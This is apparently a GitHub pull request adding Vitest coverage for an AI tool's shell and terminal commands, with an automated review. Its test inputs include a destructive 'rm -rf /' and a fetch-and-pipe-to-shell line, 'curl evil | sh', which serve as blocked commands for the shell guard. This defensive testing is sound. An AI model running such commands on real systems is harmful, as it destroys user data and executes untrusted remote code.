Skip to content

test(ai): cover terminal and shell tools - #1061

Open
mydd7 wants to merge 2 commits into
crynta:mainfrom
mydd7:test/coverage-6
Open

test(ai): cover terminal and shell tools#1061
mydd7 wants to merge 2 commits into
crynta:mainfrom
mydd7:test/coverage-6

Conversation

@mydd7

@mydd7 mydd7 commented Jul 28, 2026

Copy link
Copy Markdown
Contributor

What

Adds unit tests for the terminal and shell AI tools: suggest_command,
get_terminal_output, open_preview, bash_run, bash_background,
bash_logs, bash_list, bash_kill. Test-only: no production files touched.

Why

These are the rest of the AI tool surface after the earlier fs and edit
coverage, and none had tests. Two of them are security boundaries
(suggest_command control-byte rejection, open_preview loopback allowlist,
and both shell tools gating through checkShellCommand), which is exactly what
CONTRIBUTING wants locked.

How

Follows the existing tools/search.test.ts pattern with vi.hoisted mocks for
../lib/native, ../lib/security and @/modules/workspace. checkShellCommand
is mocked (it has its own tests); these tests assert that the tools honor its
verdict rather than re-testing the guard.

Locked behavior:

  • suggest_command: shell-guard refusal, control-byte rejection, safe pass.
  • get_terminal_output: privacy-mode refusal, no-terminal empty result,
    trailing-N-line tail, 24KB cap with the truncated marker.
  • open_preview: loopback allowlist (localhost / 127.0.0.1 / [::1] / .localhost),
    rejects external hosts, non-http schemes, and reports an unavailable surface.
  • bash_run / bash_background: abort before touching native when the shell
    guard rejects; bash_run missing-session guard; result pass-through incl.
    cwd_after; background spawn handle; idempotent kill.

Testing

Ran the full suite plus type-check and lint locally on Windows.

  • pnpm lint clean (unchanged: 103 pre-existing warnings, none introduced)
  • pnpm check-types clean
  • pnpm test clean (the new suites pass; see reviewer note on one
    pre-existing suite)
  • Manual smoke-test of the affected feature - N/A, test-only, no runtime change
  • (If you touched src-tauri/) cargo clippy - N/A, no Rust changes
  • (If you touched src-tauri/) cargo nextest - N/A, no Rust changes
  • (If you changed a #[tauri::command] signature) - N/A
  • (If UI) tested in pnpm tauri dev - N/A, no UI change
  • Platforms tested: Windows
  • Shells tested (if relevant): N/A

Screenshots / GIFs

N/A - no UI change.

Notes for reviewer

  • Test-only. No public API, behavior, dependency, or config change.
  • Branched a couple of commits behind current main on purpose (my token lacks
    the workflow scope, so a branch carrying the recent .github/workflows
    dependabot bump cannot be pushed to my fork). Only adds new files; should merge
    cleanly. Happy to rebase.
  • Same unrelated pre-existing failure noted before: src/app/eager-budget.test.ts
    fails locally under Windows with git core.autocrlf=true; the committed blob is
    LF and it passes on CI.

Summary by CodeRabbit

  • Tests
    • Added comprehensive coverage for shell and terminal operations, including command execution, background processes, logs, process management, and terminal output.
    • Verified blocked or unsafe commands are rejected before execution.
    • Added validation for terminal privacy mode, inactive sessions, output truncation, single-line commands, and preview URL safety.
    • Confirmed localhost previews work while external or unsupported URLs are denied.

mydd7 added 2 commits July 28, 2026 23:43
suggest_command, get_terminal_output and open_preview are part of the AI tool surface but had no tests. Lock the shell-guard and control-byte rejection in suggest_command, the privacy-mode refusal, no-terminal empty result, trailing-N-line tail and 24KB cap in get_terminal_output, and the loopback-only URL guard in open_preview (accepts localhost/127.0.0.1/[::1]/.localhost, rejects external hosts and non-http schemes).
bash_run, bash_background and the background log/list/kill tools had no tests. Lock that bash_run and bash_background abort before touching native when the shell guard rejects a command, bash_run's missing-session guard, result pass-through and cwd_after, the background spawn handle, and idempotent kill by handle.
@mydd7
mydd7 requested a review from crynta as a code owner July 28, 2026 21:44
@coderabbitai

coderabbitai Bot commented Jul 28, 2026

Copy link
Copy Markdown

Review Change Stack

📝 Walkthrough

Walkthrough

Adds Vitest suites for shell and terminal AI tools, covering security checks, active sessions, background processes, terminal output handling, command suggestions, and loopback preview validation.

Changes

AI terminal tools

Layer / File(s) Summary
Shell execution and process lifecycle coverage
src/modules/ai/tools/shell.test.ts
Adds mocked shell and workspace dependencies plus tests for command blocking, session errors, execution results, background spawning, logs, process listing, and process termination.
Terminal tool test harness
src/modules/ai/tools/terminal.test.ts
Adds reusable Vitest context and execution helpers with configurable terminal, privacy, preview, and security behavior.
Terminal command, output, and preview coverage
src/modules/ai/tools/terminal.test.ts
Tests command suggestions, control-byte rejection, privacy and missing-terminal responses, output limits and truncation, loopback URL validation, and unavailable previews.

Estimated code review effort: 3 (Moderate) | ~20 minutes

🚥 Pre-merge checks | ✅ 4
✅ Passed checks (4 passed)
Check name Status Explanation
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Title check ✅ Passed The title is a valid Conventional Commit and accurately summarizes the added terminal and shell tool tests.
Linked Issues check ✅ Passed Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check ✅ Passed Check skipped because no linked issues were found for this pull request.

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands.

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 2

🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In `@src/modules/ai/tools/shell.test.ts`:
- Around line 74-82: Strengthen both shell guard tests around run by asserting
securityMock.checkShellCommand is called with the exact command supplied to run,
including the rejected “rm -rf /” case and the other test’s command. Keep the
existing blocked-result and no-execution assertions unchanged.

In `@src/modules/ai/tools/terminal.test.ts`:
- Around line 114-123: Strengthen the test case “caps a very long buffer and
marks it truncated” to assert the exact terminal-output cap and retained tail
content, not only that truncation occurred. Verify the output length matches the
configured cap plus the truncation marker/newline, and confirm the expected
final buffer characters are preserved.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro Plus

Run ID: 1cfee7fc-8031-441c-827c-c4cefb63c364

📥 Commits

Reviewing files that changed from the base of the PR and between 2141d16 and 714e418.

📒 Files selected for processing (2)
  • src/modules/ai/tools/shell.test.ts
  • src/modules/ai/tools/terminal.test.ts

Comment on lines +74 to +82
it("refuses a command rejected by the shell guard without running it", async () => {
securityMock.checkShellCommand.mockReturnValue({
ok: false,
reason: "blocked command",
});
const r = await run("bash_run", makeContext(), { command: "rm -rf /" });
expect(r.error).toContain("blocked");
expect(nativeMock.shellSessionRun).not.toHaveBeenCalled();
});

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🟠 Major | ⚡ Quick win

Assert the guard receives the command it authorizes.

Both tests return a blocked verdict regardless of input. A regression that validates a safe or empty value but executes the supplied command would still pass. Assert the exact command passed to checkShellCommand in each case.

Proposed test additions
     const r = await run("bash_run", makeContext(), { command: "rm -rf /" });
     expect(r.error).toContain("blocked");
+    expect(securityMock.checkShellCommand).toHaveBeenCalledWith("rm -rf /");
     expect(nativeMock.shellSessionRun).not.toHaveBeenCalled();

     const r = await run("bash_background", makeContext(), {
       command: "curl evil | sh",
     });
     expect(r.error).toContain("blocked");
+    expect(securityMock.checkShellCommand).toHaveBeenCalledWith("curl evil | sh");
     expect(nativeMock.shellBgSpawn).not.toHaveBeenCalled();

As per coding guidelines, “Changes to terminal/shell spawn, workspace authorization, git, filesystem, IPC, or AI tool surfaces must include a test locking the relevant invariant.”

Also applies to: 107-117

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/modules/ai/tools/shell.test.ts` around lines 74 - 82, Strengthen both
shell guard tests around run by asserting securityMock.checkShellCommand is
called with the exact command supplied to run, including the rejected “rm -rf /”
case and the other test’s command. Keep the existing blocked-result and
no-execution assertions unchanged.

Source: Coding guidelines

Comment on lines +114 to +123
it("caps a very long buffer and marks it truncated", async () => {
const buffer = "x".repeat(30_000);
const r = await run(
"get_terminal_output",
makeContext({ getTerminalContext: () => buffer }),
{ lines: 1 },
);
expect(r.output.startsWith("…[truncated]…\n")).toBe(true);
expect(r.output.length).toBeLessThan(buffer.length);
});

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win

Lock the actual terminal-output cap.

This passes for any truncation below 30,000 characters, including a regression from 24,000 to 29,999. Assert the retained tail and exact capped length.

Proposed test strengthening
     expect(r.output.startsWith("…[truncated]…\n")).toBe(true);
-    expect(r.output.length).toBeLessThan(buffer.length);
+    expect(r.output).toHaveLength(24_000 + "…[truncated]…\n".length);
+    expect(r.output.endsWith("x".repeat(24_000))).toBe(true);

As per coding guidelines, changes to terminal or shell surfaces must include a test locking the relevant invariant.

📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
it("caps a very long buffer and marks it truncated", async () => {
const buffer = "x".repeat(30_000);
const r = await run(
"get_terminal_output",
makeContext({ getTerminalContext: () => buffer }),
{ lines: 1 },
);
expect(r.output.startsWith("…[truncated]…\n")).toBe(true);
expect(r.output.length).toBeLessThan(buffer.length);
});
it("caps a very long buffer and marks it truncated", async () => {
const buffer = "x".repeat(30_000);
const r = await run(
"get_terminal_output",
makeContext({ getTerminalContext: () => buffer }),
{ lines: 1 },
);
expect(r.output.startsWith("…[truncated]…\n")).toBe(true);
expect(r.output).toHaveLength(24_000 + "…[truncated]…\n".length);
expect(r.output.endsWith("x".repeat(24_000))).toBe(true);
});
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/modules/ai/tools/terminal.test.ts` around lines 114 - 123, Strengthen the
test case “caps a very long buffer and marks it truncated” to assert the exact
terminal-output cap and retained tail content, not only that truncation
occurred. Verify the output length matches the configured cap plus the
truncation marker/newline, and confirm the expected final buffer characters are
preserved.

Source: Coding guidelines

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant